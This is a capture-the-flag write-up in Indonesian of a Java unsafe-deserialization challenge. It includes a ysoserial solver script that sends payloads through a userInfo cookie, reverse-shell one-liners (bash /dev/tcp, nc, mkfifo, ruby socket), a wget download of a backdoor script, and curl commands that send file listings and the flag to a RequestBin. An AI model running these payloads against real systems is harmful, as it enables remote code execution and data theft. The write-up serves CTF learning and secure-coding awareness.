
Diberikan sebuah web yang berisi halaman login, dimana credential untuk login ke web tersebut sudah diberikan pada deskripsi challenge, yakni admin:admin
. Setelah berhasil login, kami mencoba menemukan apa yang bisa dilakukan pada web tersebut, namun nihil. Di dalam web tersebut hanya terdapat sebuah logo statis Cyber Jawara.

Karena tidak menemukan apapun untuk dilakukan, kami beralih mencari tahu hal apa saja yang terjadi ketika request dikirimkan ke server web tersebut. Dan benar, kami menemukan bahwa pada web tersebut terdapat 2 buah cookie, yakni JSESSIONID
dan userInfo
.

1 2 3 4 5 6 7 8 9 10 11 12 |
GET /index.jsp HTTP/1.1 Host: extramile.web.cyber.jawara.systems User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://extramile.web.cyber.jawara.systems/login.jsp Connection: close Cookie: JSESSIONID=AA94262F81450066568CD0D6AE8302C9; userInfo=rO0ABXNyAA9XRUJDVEYuVXNlckluZm8AAAAAAAAAAQIAAkwABXRva2VudAASTGphdmEvbGFuZy9TdHJpbmc7TAAIdXNlcm5hbWVxAH4AAXhwdAAgMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzN0AAVhZG1pbg== Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
Terlihat bahwa cookie userInfo
adalah sebuah string Base64, yang setelah didecode menjadi:

Ketika kami mencoba mengubah cookie userInfo
tersebut dengan Base64 lain, web mengeluarkan 500 Internal Server Error serta menampilkan debug page.

Dari debug page tersebut kami mengetahui bahwa web menggunakan class ObjectInputStream
. Berdasarkan dokumentasi Java, class ObjectInputStream
biasanya digunakan untuk melakukan deserialization dari data/object yang telah di serialize menggunakan class ObjectOutputStream
baca disini.

Sebagai tambahan, kami mengacu pada dokumentasi Java karena dari extension file yang digunakan (/index.jsp
), kami mengetahui bahwa web ini menggunakan JSP atau Java Server Pages.
Mengetahui hal tersebut, kami berpikir untuk mencoba mengexploitasi Unsafe Deserialization Vulnerability dengan tujuan akhir untuk mendapatkan RCE (penjelasan disini). Hal selanjutnya yang menguatkan asumsi tersebut adalah karena biasanya, sebuah serialized object pada Java ketika diencode Base64 diawali dengan string rO0
, sesuai dengan cookie userInfo
yang ada pada web ini.
Untuk itu, kami menggunakan ysoserial
(disini), yakni sebuah tool yang dapat menggenerate sebuah serialized object dimana ketika proses deserialize terjadi, server akan menjalankan arbitrary command yang telah kita tetapkan. Karena pada tool tersebut terdapat cukup banyak jenis payload yang tersedia, kami membuat sebuah script (lihat dibawah) untuk mencoba nya satu per satu dan melihat mana yang berhasil.
Pada awalnya kami mencoba untuk membuat payload yang akan menjalankan command berikut pada server challenge ini:
1 2 |
bash -i >& /dev/tcp/<attacker_ip>/1337 0>&1 |
Dimana selanjutnya kami juga memasang listener pada port 1337 di server yang kami miliki dengan command berikut:
1 2 |
nc -nvlp 1337 |
Namun upaya tersebut gagal dan kami pada akhirnya tidak berhasil menemukan cara untuk membuat koneksi Reverse TCP antara server kami dengan server soal. Oleh karena itu, kami pun merubah strategi serangan menjadi seperti berikut:
- Buat payload yang akan membuat server soal menjalankan command
wget -P /tmp/ http://<attacker_ip>/backdoor.sh
dengan bantuan toolysoserial
. - Kirim payload tersebut ke server soal, sehingga server soal akan mendownload file
backdoor.sh
dari server kami dan menempatkannya pada direktori/tmp
- Kemudian, buat payload kedua yang akan membuat server soal menjalankan command
sh /tmp/backdoor.sh
dan kirimkan payload tersebut ke server soal. - Berikut adalah isi dari
backdoor.sh
:#!/bin/bash sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(ls -a | base64)\"" sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(ls -a / | base64)\"" sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(pwd | base64)\""
- Output dari command-command yang dijalankan pada
backdoor.sh
tersebut kami kirimkan ke sebuah RequestBin dalam bentuk Base64-encoded. Berikut contohnya: - Setelah hasil output command-command tersebut kami terima dan kami decode, kami menemukan sebuah file flag dengan ekstensi
.txt
pada root directory server (/
), seperti terlihat pada gambar berikut: - Terakhir, kami mengulangi langkah-langkah ini dari awal, namun dengan isi
backdoor.sh
yang berbeda, kali ini untuk mendapatkan isi dari file flag tersebut:#!/bin/bash sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/flag --data \"$(cat /flag-41360aaf1f2fb48d7ad9fe6570f938ac7caf315d.txt | base64)\""
Pada akhirnya, kami berhasil mendapatkan flag nya:

Flag = CJ2020{d3sErialization_Vuln3rability_1s_c0mm0n_in_Java_web_apps}
Lesson learned nya, waspadai adanya kelemahan Unsafe Deserialization, selalu terapkan secure coding.
Keseluruhan langkah-langkah diatas kami satukan kedalam sebuah solver script, berikut script yang digunakan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
import requests import subprocess import time URL = "https://extramile.web.cyber.jawara.systems/index.jsp" # from https://github.com/frohoff/ysoserial payloadList = [ "BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket" ] """ Attack scenario 1. Bikin class exploit pake ysoserial 2. Encode base64, kasih ke webserver 3. Jalanin command: - wget -P /tmp/ http://<attacker_ip>:1337/backdoor.sh 3. Ulangi dari 1, jalanin command: - sh /tmp/backdoor.sh """ # backdoor = "bash -c \"curl -XPOST http://xarkangels.com:1337/?foobar=hoho --data \"$(ls | base64)\"\"" # backdoor = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xarkangels.com 1337 >/tmp/f""" # backdoor = "nc -e /bin/sh xarkangels.com 1337" # backdoor = """ruby -rsocket -e'f=TCPSocket.open("xarkangels.com", 1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'""" backdoor1 = "wget -P /tmp/ http://3d2519b1c71d.ngrok.io/backdoor.sh" backdoor2 = "sh /tmp/backdoor.sh" WORKING_PAYLOAD = "CommonsCollections5" def getPayload(type, backdoor): command = "java -jar /home/siahaan/Tools/ysoserial/ysoserial.jar {} '{}' | base64 | tr -d '\\n'".format(type, backdoor) print("[Command]", command) proc = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) payload = proc.communicate()[0] return payload cookie = { "JSESSIONID": "85A51529789D062DDD7073F4207F5AC3", "userInfo": "rO0ABXNyAA9XRUJDVEYuVXNlckluZm8AAAAAAAAAAQIAAkwABXRva2VudAASTGphdmEvbGFuZy9TdHJpbmc7TAAIdXNlcm5hbWVxAH4AAXhwdAAgMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzN0AAVhZG1pbg==" } # res = requests.get(URL, cookies=cookie) # print(res.text) # input("Press [enter] to continue...") # for p in payloadList: # cookie["userInfo"] = getPayload(p).decode() # res = requests.get(URL, cookies=cookie) # print(res.text) # input("Press [enter] to continue...") cookie["userInfo"] = getPayload(WORKING_PAYLOAD, backdoor1).decode() res = requests.get(URL, cookies=cookie) print(res.text) time.sleep(5) cookie["userInfo"] = getPayload(WORKING_PAYLOAD, backdoor2).decode() res = requests.get(URL, cookies=cookie) print(res.text) |